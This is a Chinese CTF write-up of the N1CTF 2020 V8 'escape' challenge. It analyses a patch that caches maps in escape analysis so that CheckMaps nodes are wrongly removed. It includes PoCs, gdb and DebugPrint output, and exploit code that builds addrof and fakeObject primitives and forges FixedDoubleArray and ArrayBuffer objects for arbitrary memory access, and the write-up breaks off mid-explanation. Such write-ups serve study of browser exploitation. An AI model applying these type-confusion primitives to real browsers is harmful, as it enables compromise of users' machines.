2020 N1CTF escape

作为一位菜鸟,发文章希望大佬们批评指正

0 环境搭建

git reset --hard 07b0b1dcde4a99294b8028d83f4ea244885cc091
git apply ../patch/patch.diff
gclient sync
ninja -C out.gn/x64.release d8
8:43

同时在ubuntu18上安装对应的chrome

题目之后放在github上

https://github.com/MyinIt-0/v8/tree/master/Wi1L

1 背景知识

一些补充

当我们想直接输出一个type信息时,会被逗号取代(除非有洞导致.....)

关于fixed_array与fixed_double_array的不同

两者都是element部分

对于fixed_array,其中每一个都会向obj一样解析

哪怕像这样插入一个浮点数

spary[spary_size-1] = 1.1;

也会作为heapNumber对象,这样的话直接读取spary[idx]返回的是

,,,

因为这些idx位置都是 obj指针,如果返回就相当于泄露map值了

对于fixed_double_array

其中的浮点数都是直接存储的

可以直接通过idx访问

所以得出结论,这两个东西的互相转化可以用于伪造addrof与fakeof原语

2 漏洞分析

patch 文件
diff --git a/src/compiler/escape-analysis.cc b/src/compiler/escape-analysis.cc
index 2a096b6933..3046d7b04e 100644
--- a/src/compiler/escape-analysis.cc
+++ b/src/compiler/escape-analysis.cc
@@ -178,7 +178,7 @@ class EscapeAnalysisTracker : public ZoneObject {
         : VariableTracker::Scope(&tracker->variable_states_, node, reduction),
           tracker_(tracker),
           reducer_(reducer) {}
-    const VirtualObject* GetVirtualObject(Node* node) {
+    VirtualObject* GetVirtualObject(Node* node) {
       VirtualObject* vobject = tracker_->virtual_objects_.Get(node);
       if (vobject) vobject->AddDependency(current_node());
       return vobject;
@@ -576,10 +576,14 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
     case IrOpcode::kStoreField: {
       Node* object = current->ValueInput(0);
       Node* value = current->ValueInput(1);
-      const VirtualObject* vobject = current->GetVirtualObject(object);
+      VirtualObject* vobject = current->GetVirtualObject(object);
       Variable var;
       if (vobject && !vobject->HasEscaped() &&
           vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) {
+        // Attach cached map info to the virtual object.
+        if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) {
+          vobject->SetMap(value);
+        }
         current->Set(var, value);
         current->MarkForDeletion();
       } else {
@@ -747,6 +751,17 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
           // yet.
           break;
         }
+      } else if (vobject) {
+        Node* cache_map = vobject->Map();
+        if (cache_map) {
+          Type const map_type = NodeProperties::GetType(cache_map);
+          if (map_type.IsHeapConstant() &&
+              params.maps().contains(
+                  map_type.AsHeapConstant()->Ref().AsMap().object())) {
+            current->MarkForDeletion();
+            break;
+          }
+        }
       }
       current->SetEscaped(checked);
       break;
@@ -804,6 +819,12 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
       for (int i = 0; i < value_input_count; ++i) {
         Node* input = current->ValueInput(i);
         current->SetEscaped(input);
+
+        // Invalidate associated map cache for all value input nodes.
+        VirtualObject* vobject = current->GetVirtualObject(input);
+        if (vobject) {
+          vobject->SetMap(nullptr);
+        }
       }
       if (OperatorProperties::HasContextInput(op)) {
         current->SetEscaped(current->ContextInput());
diff --git a/src/compiler/escape-analysis.h b/src/compiler/escape-analysis.h
index 0fbc7d0bdd..ec56488388 100644
--- a/src/compiler/escape-analysis.h
+++ b/src/compiler/escape-analysis.h
@@ -147,11 +147,14 @@ class VirtualObject : public Dependable {
   bool HasEscaped() const { return escaped_; }
   const_iterator begin() const { return fields_.begin(); }
   const_iterator end() const { return fields_.end(); }
+  Node* Map() const { return map_; }
+  void SetMap(Node* map) { map_ = map; }

  private:
   bool escaped_ = false;
   Id id_;
   ZoneVector<Variable> fields_;
+  Node* map_;
 };

 class EscapeAnalysisResult {

整体的patch有两方面组成,一个是.h文件,一个是.cc文件的一个函数

针对.h文件

--- a/src/compiler/escape-analysis.h
+++ b/src/compiler/escape-analysis.h
@@ -147,11 +147,14 @@ class VirtualObject : public Dependable {
   bool HasEscaped() const { return escaped_; }
   const_iterator begin() const { return fields_.begin(); }
   const_iterator end() const { return fields_.end(); }
+  Node* Map() const { return map_; }
+  void SetMap(Node* map) { map_ = map; }

  private:
   bool escaped_ = false;
   Id id_;
   ZoneVector<Variable> fields_;
+  Node* map_;
 };

可以看到是VirtualObject加了一个map_对象 , 同时增加了两个函数,这里我们就需要知道这个VirtualObject是什么

针对.cc文件

diff --git a/src/compiler/escape-analysis.cc b/src/compiler/escape-analysis.cc
index 2a096b6933..3046d7b04e 100644
--- a/src/compiler/escape-analysis.cc
+++ b/src/compiler/escape-analysis.cc
@@ -178,7 +178,7 @@ class EscapeAnalysisTracker : public ZoneObject {
         : VariableTracker::Scope(&tracker->variable_states_, node, reduction),
           tracker_(tracker),
           reducer_(reducer) {}
-    const VirtualObject* GetVirtualObject(Node* node) {
+    VirtualObject* GetVirtualObject(Node* node) {
       VirtualObject* vobject = tracker_->virtual_objects_.Get(node);
       if (vobject) vobject->AddDependency(current_node());
       return vobject;
@@ -576,10 +576,14 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
     case IrOpcode::kStoreField: {
       Node* object = current->ValueInput(0);
       Node* value = current->ValueInput(1);
-      const VirtualObject* vobject = current->GetVirtualObject(object);
+      VirtualObject* vobject = current->GetVirtualObject(object);
       Variable var;
       if (vobject && !vobject->HasEscaped() &&
           vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) {
+        // Attach cached map info to the virtual object.
+        if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) {
+          vobject->SetMap(value);
+        }
         current->Set(var, value);
         current->MarkForDeletion();
       } else {
@@ -747,6 +751,17 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
           // yet.
           break;
         }
+      } else if (vobject) {
+        Node* cache_map = vobject->Map();
+        if (cache_map) {
+          Type const map_type = NodeProperties::GetType(cache_map);
+          if (map_type.IsHeapConstant() &&
+              params.maps().contains(
+                  map_type.AsHeapConstant()->Ref().AsMap().object())) {
+            current->MarkForDeletion();
+            break;
+          }
+        }
       }
       current->SetEscaped(checked);
       break;
@@ -804,6 +819,12 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
       for (int i = 0; i < value_input_count; ++i) {
         Node* input = current->ValueInput(i);
         current->SetEscaped(input);
+
+        // Invalidate associated map cache for all value input nodes.
+        VirtualObject* vobject = current->GetVirtualObject(input);
+        if (vobject) {
+          vobject->SetMap(nullptr);
+        }
       }
       if (OperatorProperties::HasContextInput(op)) {
         current->SetEscaped(current->ContextInput());

主要是针对刚才的map的一些操作,这里我们就需要看原函数是什么作用,如何触发这个位置等等

修改的具体函数如下(虽然有点长,但是还是贴了一下)

void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
                JSGraph* jsgraph) {
  switch (op->opcode()) {
    case IrOpcode::kAllocate: {
      NumberMatcher size(current->ValueInput(0));
      if (!size.HasValue()) break;
      int size_int = static_cast<int>(size.Value());
      if (size_int != size.Value()) break;
      if (const VirtualObject* vobject = current->InitVirtualObject(size_int)) {
        // Initialize with dead nodes as a sentinel for uninitialized memory.
        for (Variable field : *vobject) {
          current->Set(field, jsgraph->Dead());
        }
      }
      break;
    }
    case IrOpcode::kFinishRegion:
      current->SetVirtualObject(current->ValueInput(0));
      break;
    case IrOpcode::kStoreField: {
      Node* object = current->ValueInput(0);
      Node* value = current->ValueInput(1);
      VirtualObject* vobject = current->GetVirtualObject(object);
      Variable var;
      if (vobject && !vobject->HasEscaped() &&
          vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) {
        // Attach cached map info to the virtual object.
        if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) {
          vobject->SetMap(value);
        }
        current->Set(var, value);
        current->MarkForDeletion();
      } else {
        current->SetEscaped(object);
        current->SetEscaped(value);
      }
      break;
    }
    case IrOpcode::kStoreElement: {
      Node* object = current->ValueInput(0);
      Node* index = current->ValueInput(1);
      Node* value = current->ValueInput(2);
      const VirtualObject* vobject = current->GetVirtualObject(object);
      int offset;
      Variable var;
      if (vobject && !vobject->HasEscaped() &&
          OffsetOfElementsAccess(op, index).To(&offset) &&
          vobject->FieldAt(offset).To(&var)) {
        current->Set(var, value);
        current->MarkForDeletion();
      } else {
        current->SetEscaped(value);
        current->SetEscaped(object);
      }
      break;
    }
    case IrOpcode::kLoadField: {
      Node* object = current->ValueInput(0);
      const VirtualObject* vobject = current->GetVirtualObject(object);
      Variable var;
      Node* value;
      if (vobject && !vobject->HasEscaped() &&
          vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var) &&
          current->Get(var).To(&value)) {
        current->SetReplacement(value);
      } else {
        current->SetEscaped(object);
      }
      break;
    }
    case IrOpcode::kLoadElement: {
      Node* object = current->ValueInput(0);
      Node* index = current->ValueInput(1);
      const VirtualObject* vobject = current->GetVirtualObject(object);
      int offset;
      Variable var;
      Node* value;
      if (vobject && !vobject->HasEscaped() &&
          OffsetOfElementsAccess(op, index).To(&offset) &&
          vobject->FieldAt(offset).To(&var) && current->Get(var).To(&value)) {
        current->SetReplacement(value);
        break;
      } else if (vobject && !vobject->HasEscaped()) {
        // Compute the known length (aka the number of elements) of {object}
        // based on the virtual object information.
        ElementAccess const& access = ElementAccessOf(op);
        int const length =
            (vobject->size() - access.header_size) >>
            ElementSizeLog2Of(access.machine_type.representation());
        Variable var0, var1;
        Node* value0;
        Node* value1;
        if (length == 1 &&
            vobject->FieldAt(OffsetOfElementAt(access, 0)).To(&var) &&
            current->Get(var).To(&value) &&
            (value == nullptr ||
             NodeProperties::GetType(value).Is(access.type))) {
          // The {object} has no elements, and we know that the LoadElement
          // {index} must be within bounds, thus it must always yield this
          // one element of {object}.
          current->SetReplacement(value);
          break;
        } else if (length == 2 &&
                   vobject->FieldAt(OffsetOfElementAt(access, 0)).To(&var0) &&
                   current->Get(var0).To(&value0) &&
                   (value0 == nullptr ||
                    NodeProperties::GetType(value0).Is(access.type)) &&
                   vobject->FieldAt(OffsetOfElementAt(access, 1)).To(&var1) &&
                   current->Get(var1).To(&value1) &&
                   (value1 == nullptr ||
                    NodeProperties::GetType(value1).Is(access.type))) {
          if (value0 && value1) {
            // The {object} has exactly two elements, so the LoadElement
            // must return one of them (i.e. either the element at index
            // 0 or the one at index 1). So we can turn the LoadElement
            // into a Select operation instead (still allowing the {object}
            // to be scalar replaced). We must however mark the elements
            // of the {object} itself as escaping.
            Node* check =
                jsgraph->graph()->NewNode(jsgraph->simplified()->NumberEqual(),
                                          index, jsgraph->ZeroConstant());
            NodeProperties::SetType(check, Type::Boolean());
            Node* select = jsgraph->graph()->NewNode(
                jsgraph->common()->Select(access.machine_type.representation()),
                check, value0, value1);
            NodeProperties::SetType(select, access.type);
            current->SetReplacement(select);
            current->SetEscaped(value0);
            current->SetEscaped(value1);
            break;
          } else {
            // If the variables have no values, we have
            // not reached the fixed-point yet.
            break;
          }
        }
      }
      current->SetEscaped(object);
      break;
    }
    case IrOpcode::kTypeGuard: {
      current->SetVirtualObject(current->ValueInput(0));
      break;
    }
    case IrOpcode::kReferenceEqual: {
      Node* left = current->ValueInput(0);
      Node* right = current->ValueInput(1);
      const VirtualObject* left_object = current->GetVirtualObject(left);
      const VirtualObject* right_object = current->GetVirtualObject(right);
      Node* replacement = nullptr;
      if (left_object && !left_object->HasEscaped()) {
        if (right_object && !right_object->HasEscaped() &&
            left_object->id() == right_object->id()) {
          replacement = jsgraph->TrueConstant();
        } else {
          replacement = jsgraph->FalseConstant();
        }
      } else if (right_object && !right_object->HasEscaped()) {
        replacement = jsgraph->FalseConstant();
      }
      // TODO(tebbi) This is a workaround for uninhabited types. If we
      // replaced a value of uninhabited type with a constant, we would
      // widen the type of the node. This could produce inconsistent
      // types (which might confuse representation selection). We get
      // around this by refusing to constant-fold and escape-analyze
      // if the type is not inhabited.
      if (replacement && !NodeProperties::GetType(left).IsNone() &&
          !NodeProperties::GetType(right).IsNone()) {
        current->SetReplacement(replacement);
        break;
      }
      current->SetEscaped(left);
      current->SetEscaped(right);
      break;
    }
    case IrOpcode::kCheckMaps: {
      CheckMapsParameters params = CheckMapsParametersOf(op);
      Node* checked = current->ValueInput(0);
      const VirtualObject* vobject = current->GetVirtualObject(checked);
      Variable map_field;
      Node* map;
      if (vobject && !vobject->HasEscaped() &&
          vobject->FieldAt(HeapObject::kMapOffset).To(&map_field) &&
          current->Get(map_field).To(&map)) {
        if (map) {
          Type const map_type = NodeProperties::GetType(map);
          if (map_type.IsHeapConstant() &&
              params.maps().contains(
                  map_type.AsHeapConstant()->Ref().AsMap().object())) {
            current->MarkForDeletion();
            break;
          }
        } else {
          // If the variable has no value, we have not reached the fixed-point
          // yet.
          break;
        }
      } else if (vobject) {
        Node* cache_map = vobject->Map();
        if (cache_map) {
          Type const map_type = NodeProperties::GetType(cache_map);
          if (map_type.IsHeapConstant() &&
              params.maps().contains(
                  map_type.AsHeapConstant()->Ref().AsMap().object())) {
            current->MarkForDeletion();
            break;
          }
        }
      }
      current->SetEscaped(checked);
      break;
    }
    case IrOpcode::kCompareMaps: {
      Node* object = current->ValueInput(0);
      const VirtualObject* vobject = current->GetVirtualObject(object);
      Variable map_field;
      Node* object_map;
      if (vobject && !vobject->HasEscaped() &&
          vobject->FieldAt(HeapObject::kMapOffset).To(&map_field) &&
          current->Get(map_field).To(&object_map)) {
        if (object_map) {
          current->SetReplacement(LowerCompareMapsWithoutLoad(
              object_map, CompareMapsParametersOf(op), jsgraph));
          break;
        } else {
          // If the variable has no value, we have not reached the fixed-point
          // yet.
          break;
        }
      }
      current->SetEscaped(object);
      break;
    }
    case IrOpcode::kCheckHeapObject: {
      Node* checked = current->ValueInput(0);
      switch (checked->opcode()) {
        case IrOpcode::kAllocate:
        case IrOpcode::kFinishRegion:
        case IrOpcode::kHeapConstant:
          current->SetReplacement(checked);
          break;
        default:
          current->SetEscaped(checked);
          break;
      }
      break;
    }
    case IrOpcode::kMapGuard: {
      Node* object = current->ValueInput(0);
      const VirtualObject* vobject = current->GetVirtualObject(object);
      if (vobject && !vobject->HasEscaped()) {
        current->MarkForDeletion();
      }
      break;
    }
    case IrOpcode::kStateValues:
    case IrOpcode::kFrameState:
      // These uses are always safe.
      break;
    default: {
      // For unknown nodes, treat all value inputs as escaping.
      int value_input_count = op->ValueInputCount();
      for (int i = 0; i < value_input_count; ++i) {
        Node* input = current->ValueInput(i);
        current->SetEscaped(input);

        // Invalidate associated map cache for all value input nodes.
        VirtualObject* vobject = current->GetVirtualObject(input);
        if (vobject) {
          vobject->SetMap(nullptr);
        }
      }
      if (OperatorProperties::HasContextInput(op)) {
        current->SetEscaped(current->ContextInput());
      }
      break;
    }
  }
}

在这个函数里面主要patch的两个地方是

case IrOpcode::kStoreField: {
      Node* object = current->ValueInput(0);
      Node* value = current->ValueInput(1);
      VirtualObject* vobject = current->GetVirtualObject(object);//====>
      Variable var;
      if (vobject && !vobject->HasEscaped() &&
          vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) {
        // Attach cached map info to the virtual object.   //====>
        if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) {
          vobject->SetMap(value);
        }////////////////////////////////////////////////////====>
        current->Set(var, value);
        current->MarkForDeletion();
      } else {
        current->SetEscaped(object);
        current->SetEscaped(value);
      }
      break;
    }

patch的位置在上面进行了标记

patch脚本中给了一句话// Attach cached map info to the virtual object.
前面对于patch中的.h文件进行了介绍
上面的case是对于StoreField节点进行的操作,可见如果我们绕过一些分支限制,到达
vobject->SetMap(value);位置,是可以给这个Node设置一个cached map的
 但是我现在不清楚的object和value分别是什么、对于setEscaped和MarkForDeletion也略有不清楚

还有

case IrOpcode::kCheckMaps: {
      CheckMapsParameters params = CheckMapsParametersOf(op);
      Node* checked = current->ValueInput(0);
      const VirtualObject* vobject = current->GetVirtualObject(checked);
      Variable map_field;
      Node* map;
      if (vobject && !vobject->HasEscaped() &&
          vobject->FieldAt(HeapObject::kMapOffset).To(&map_field) &&
          current->Get(map_field).To(&map)) {
        if (map) {
          Type const map_type = NodeProperties::GetType(map);
          if (map_type.IsHeapConstant() &&
              params.maps().contains(
                  map_type.AsHeapConstant()->Ref().AsMap().object())) {
            current->MarkForDeletion();
            break;
          }
        } else {
          // If the variable has no value, we have not reached the fixed-point
          // yet.
          break;
        }
      } else if (vobject) { //<=====================
        Node* cache_map = vobject->Map();
        if (cache_map) {
          Type const map_type = NodeProperties::GetType(cache_map);
          if (map_type.IsHeapConstant() &&
              params.maps().contains(
                  map_type.AsHeapConstant()->Ref().AsMap().object())) {
            current->MarkForDeletion();<==我们希望通过这个消除checkmap
            break;
          }
        }
      }////////////////////////<=====================
      current->SetEscaped(checked);
      break;
    }
同样先将patch的部位进行了标记
这里的case是针对CheckMaps Node,在store之前是有CheckMaps节点的
这里就是绕过一些条件,达到这个分支之后
    首先取出vobject对应的Map_(这里的vobject对应哪个节点也还没有搞明白)
    取出map值后,经过一个if判断,将current标记成删除

经过上面的分析,我自己的想法是,首先store让一个节点标记上这个cached_map,然后绕过一些判定条件,使CheckMap节点消除,从而可以进行类型混淆(甚至更多)

POC与动态调试

官方poc

function opt(cb) {
for(var i = 0; i < 200000; i++) { }   // trigger JIT
    let v = [1.1];   // double elements
    let o = [v];    // now o & v are not escaped and have their maps cached
    cb(o);       // now o & v are escaped, but only o's cached maps are
//invalidated.
    return v[0];    // type confusion, v is still treated as double elements.其实应该是fixed_array而不是fixed_double_array
}
let x = new Array(4);
for(var i = 0; i < 10; i++) {
opt((o) => {});
}
console.log(opt((o) => { o[0][0] = x; }));
断点位置
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x00007f9542e891d4 in v8::internal::compiler::(anonymous namespace)::ReduceNode(v8::internal::compiler::Operator const*, v8::internal::compiler::EscapeAnalysisTracker::Scope*, v8::internal::compiler::JSGraph*) at ../../src/compiler/escape-analysis.cc:755
    breakpoint already hit 1 time
2       breakpoint     keep y   0x00007f9542e88127 in v8::internal::compiler::(anonymous namespace)::ReduceNode(v8::internal::compiler::Operator const*, v8::internal::compiler::EscapeAnalysisTracker::Scope*, v8::internal::compiler::JSGraph*) at ../../src/compiler/escape-analysis.cc:584
    breakpoint already hit 12 times

关于reduceNode总共触发了一次,所以就先研究一下这个

官方POC的内存变化

mem.js

function opt(cb) {
//for(var i = 0; i < 200000; i++) { }   // trigger JIT
    let v = [1.1];   // double elements
    let o = [v];    // now o & v are not escaped and have their maps cached
    %DebugPrint(o);
    %SystemBreak();
    cb(o);       // now o & v are escaped, but only o's cached maps are
    %DebugPrint(o);

//invalidated.
    return v[0];    // type confusion, v is still treated as double elements.
}
let x = new Array(4);
//for(var i = 0; i < 10; i++) {
//opt((o) => {});
//}

let foo = opt((o) => { o[0][0] = x;});
%SystemBreak();

//%OptimizeFunctionOnNextCall(opt);
//console.log(opt((o) => { o[0][0] = x; }));

第一次内存情况

DebugPrint: 0xc6e08148dd5: [JSArray]
 - map: 0x0c6e0830394d <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x0c6e082cb5e9 <JSArray[0]>
 - elements: 0x0c6e08148dc9 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x0c6e08042229 <FixedArray[0]> {
    0xc6e08044695: [String] in ReadOnlySpace: #length: 0x0c6e08242159 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x0c6e08148dc9 <FixedArray[1]> {
           0: 0x0c6e08148db9 <JSArray[1]>
 }
0xc6e0830394d: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x0c6e08303925 <Map(HOLEY_DOUBLE_ELEMENTS)>
 - prototype_validity cell: 0x0c6e08242445 <Cell value= 1>
 - instance descriptors #1: 0x0c6e082cba9d <DescriptorArray[1]>
 - transitions #1: 0x0c6e082cbb19 <TransitionArray[4]>Transition array #1:
     0x0c6e08044f85 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x0c6e08303975 <Map(HOLEY_ELEMENTS)>

 - prototype: 0x0c6e082cb5e9 <JSArray[0]>
 - constructor: 0x0c6e082cb385 <JSFunction Array (sfi = 0xc6e0824f899)>
 - dependent code: 0x0c6e080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

第二次

Continuing.
DebugPrint: 0xc6e08148dd5: [JSArray]
 - map: 0x0c6e0830394d <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x0c6e082cb5e9 <JSArray[0]>
 - elements: 0x0c6e08148dc9 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x0c6e08042229 <FixedArray[0]> {
    0xc6e08044695: [String] in ReadOnlySpace: #length: 0x0c6e08242159 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x0c6e08148dc9 <FixedArray[1]> {
           0: 0x0c6e08148db9 <JSArray[1]>
 }
0xc6e0830394d: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x0c6e08303925 <Map(HOLEY_DOUBLE_ELEMENTS)>
 - prototype_validity cell: 0x0c6e08242445 <Cell value= 1>
 - instance descriptors #1: 0x0c6e082cba9d <DescriptorArray[1]>
 - transitions #1: 0x0c6e082cbb19 <TransitionArray[4]>Transition array #1:
     0x0c6e08044f85 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x0c6e08303975 <Map(HOLEY_ELEMENTS)>

 - prototype: 0x0c6e082cb5e9 <JSArray[0]>
 - constructor: 0x0c6e082cb385 <JSFunction Array (sfi = 0xc6e0824f899)>
 - dependent code: 0x0c6e080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

学习过程中的poc
poc1
function opt(foo) {
   var a = [1.1]; //未逃逸
   foo(a); //逃逸
   return a[0];
}
//触发JIT编译
for (var i=0;i<0x20000;i++) {
   opt((o)=>{});
}
x = Array(0);
print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型

%SystemBreak();

这个问题是,所有的代码全部被优化(通过--print-opt-code可以看出)

程序知道foo是要干什么,所以导致没有逃逸

poc2
function opt(foo) {
   //触发JIT编译
   for (var i=0;i<0x20000;i++) {
   }
   var a = [1.1]; //未逃逸
   foo(a); //逃逸
   return a[0];
}
opt((o)=>{});
x = Array(0);
print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型

%SystemBreak();

这次进行了改进,程序只优化opt函数,但是没有触发源码中的断点

通过print-opt-code可以发现对于opt函数优化了两次

poc3
function opt(foo) {
   //触发JIT编译
   for (var i=0;i<0x20000;i++) {
   }
   var a = [1.1]; //storeFiled分支
   foo(a); //unknown分支  but a->_map becomes invalidate here
   return a[0];//checkmap分支  because a->_map is nullptr, map doesn't MarkForDeletion()
}
opt((o)=>{});
opt((o)=>{});
opt((o)=>{});
x = Array(0);
print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型

%SystemBreak();

这个的结果是没有成功消除map值

具体的流程是

进行setvalue

进行map值的清空

清空之后到了消除kcheckmap的分支部分,发现条件不再满足

原因是上一步清空了

导致最后优化代码的几个部分

赋值a[0] = 1.1

x84700085590    f0  49ba9a9999999999f13f REX.W movq r10,0x3ff199999999999a
0x8470008559a    fa  c4c1f96ec2     vmovq xmm0,r10
0x8470008559f    ff  c4c17b114007   vmovsd [r8+0x7],xmm0

最后取值a[0]的时候还是有checkmap

0x847000855ee   14e  b801000000     movl rax,0x1
0x847000855f3   153  49ba6041d2f6e77f0000 REX.W movq r10,0x7fe7f6d24160  (Call_ReceiverIsNullOrUndefined)    ;; off heap target
0x847000855fd   15d  41ffd2         call r10
0x84700085600   160  488b4dd8       REX.W movq rcx,[rbp-0x28]
0x84700085604   164  41b8fd383008   movl r8,0x83038fd        ;; (compressed) object: 0x0847083038fd <Map(PACKED_DOUBLE_ELEMENTS)>
0x8470008560a   16a  443941ff       cmpl [rcx-0x1],r8
0x8470008560e   16e  0f8588010000   jnz 0x8470008579c  <+0x2fc>
poc4
function opt(foo) {
   //触发JIT编译
   for (var i=0;i<0x20000;i++) {
   }
   var a = [1.1]; //未逃逸   StoreFiled分支
   var b = [a]; //未逃逸   StoreFiled分支
   foo(b); //逃逸     default分支  b->_map置为NUllptr, but a->_map is valid 
   return a[0];//checkMap分支  a'map MarkForDeletion()
}
//生成多个JIT模板
for (var i=0;i<0x10;i++) {
   opt((o)=>{});
}
x = Array(0);
print(opt((o)=>{o[0][0] = x;})); //在外部函数里改变类型

具体流程

storeFiled分支

default分支

这里同一个节点出现了四次

最后CheckMap分支

3 EXP

之间在8.0以上版本没有尝试过fake_obj之后的利用,同时这个也是chrome利用

addrof原语的思路是将指向一个对象的指针作为双精度浮点型数据读取的话,fakeobj是双精度浮点型数据解释为指向一个对象的指针

checkMap消除之后进行了直接赋值

先进行transiton后进行escape(优化流程图)

load-elimination ====> escape

在load-elimination有类型的变化(fixed_array与fixed_double变换),在escape有checkMap消除

简单解释addrof

function opt0(o) {
   for(var i = 0; i < 200000; i++) { }
   let a = [1.1,2.2,3.3,4.4];
   let b = [a];<====b[0]是fixed_double    b是fixed_array
   o(b); <===  b[0][0] = obj  a先进行Transition成fixed_array,此后a的checkMap消除
   return a[0];<====此时由于a的checkMap消除就会直接读出浮点数
}


function addressOf(obj) {
   var addr = opt0((o)=>{o[0][0] = obj;});
   return u32f(addr) - 1;
}

3.1 fake_obj

脚本中用到了一个喷射object代码

let arr = spary[spary_size-0x3];
let arr_address = addressOf(arr);
let proto_addr = addressOf(Array.prototype);

%DebugPrint(arr);
%DebugPrint(spary);

%SystemBreak();


//fake a FixedDoubleArray Map
arr[0] = p64f(0x08042115,0x18040404);
arr[1] = p64f(0x29000423,0x0a0007ff);
arr[2] = p64f(proto_addr+1,0);
//alert(arr_address.toString(16));

let element_addr = arr_address + 0x14;
let fake_element = element_addr+0x44;

//fake a FixedDoubleArray
arr[4] = p64f(0,element_addr+0x8+0x1);
arr[5] = p64f(0x08042229,fake_element+1);
arr[6] = p64f(0x7ffffffe,0);

//fake a FixedDoubleArray's element
arr[7] = p64f(0,0x08042ab1);
arr[8] = p64f(0x7ffffffe,0);


%SystemBreak();

var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c);

//leak backing store
backing_store_addr = u64f(arb_fixeddouble_arr[0x9]);
heap_t_addr = u64f(arb_fixeddouble_arr[0xa])
//alert(backing_store_addr.toString(16));
//alert(heap_t_addr.toString(16));
//leak compression ptr high byte
compression_high_bytes = u32f(arb_fixeddouble_arr[0x20]);
//alert(compression_high_bytes.toString(16));

function addressOf_full(obj) {
   var addr = addressOf(obj);
   return (BigInt(compression_high_bytes) << 32n) + BigInt(addr);
}



arr = spary[spary_size-0x6];
arr_address = addressOf(arr);
proto_addr = addressOf(ArrayBuffer.prototype);
%DebugPrint(arr);
%SystemBreak();

//fake a ArrayBuffer Map
arr[0] = p64f(0x08042115,0x140e0e0e);
arr[1] = p64f(0x19000424,0x084003ff);
arr[2] = p64f(proto_addr+1,0);

element_addr = arr_address + 0x14;
fake_element = element_addr+0x44;

//fake a ArrayBuffer
arr[4] = p64f(0,element_addr+0x8+0x1);
arr[5] = p64f(0x08042229,0x08042229);
arr[6] = p64f(0xffffffff,0);
arr[7] = p64f(0,0);
arr[9] = p64f(0,2);
var arb_arraybuffer = fakeObject(element_addr + 0x2c);
var adv = new DataView(arb_arraybuffer);

%SystemBreak();

我们要先搞清楚其具体的内存情况, 由于没有直接用Array.length扩大,所以这里不改debug源码也是可以直接调试的(无check)。

伪造fake_array
print1

首先对于没有更改内存的spary进行DebugPrint,同时对修改之前的arr进行DebugPrint

在脚本中有一些特殊的数据,目前还不是特别懂

对当前的arr数据进行查看

print2

对修改完数据之后的arr数组进行查看

伪造之后的数据结构如下图

我们从0x815a671指向的地方开始伪造,首先伪造了一个map ,然后是一个存放double的array,最后是这个array的element

这样就明白了之前脚本

group1

首先第一组数据,我们查看Array对应的map

我们伪造的就是上图map圈出了部分,除了第三个(0x21000423)和第四个(0x0a8007ff)数据外其它map内容均一样,那么这两个字段是什么意思呢

可以看到本来不同的array数组对应的map 这个值也有可能不一样

后来在上面的map图中找到了我们伪造的数据

我尝试修改脚本这两个数据

发现并没有对结果产生影响

姑且认为这两个数据一组就好(因为没有搜到资料这两个字段的含义)

group2

第二组数据可以很清楚的看出分别是map值指针+property+element+length(其中map指针指向我们伪造的地方,element指针指向之后伪造的地方)

group3

第三组数据伪造的element(其中0x8042ab1直接抄就可以,后面是length<<1)

调用fake_array

经过前面的操作,现在已经布置好了伪造的array,下一步是

var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c); //这里传进去的参数是伪造的double_array的map指针的地址

//leak backing store
backing_store_addr = u64f(arb_fixeddouble_arr[0x9]);
heap_t_addr = u64f(arb_fixeddouble_arr[0xa])

于是开始调试

修改之前的数据

ele指向的位置就是伪造的double_array开始的地方

修改之后的数据

可以看到数据并没有发生变化,那fake_obj到底是干什么呢,再次理解下

fake_obj作用是传进去一个数组之后返回一个可以操作的对应map的object
首先我们传进去的是一个32位 或者 64位的整数要进行一次i2f(addr+1)变换  脚本中的fake_obj是64位操作前32位置为0因为
//fake a FixedDoubleArray Map
arr[0] = p64f(0x08042115,0x18040404);
arr[1] = p64f(0x29000423,0x0a0007ff);
arr[2] = p64f(proto_addr+1,0);
//alert(arr_address.toString(16));

let element_addr = arr_address + 0x14;
let fake_element = element_addr+0x44;

//fake a FixedDoubleArray
arr[4] = p64f(0,element_addr+0x8+0x1);
arr[4]伪造的前32本来就是0可以这么操作



之后是让一个数组的一项等于我们伪造的地址
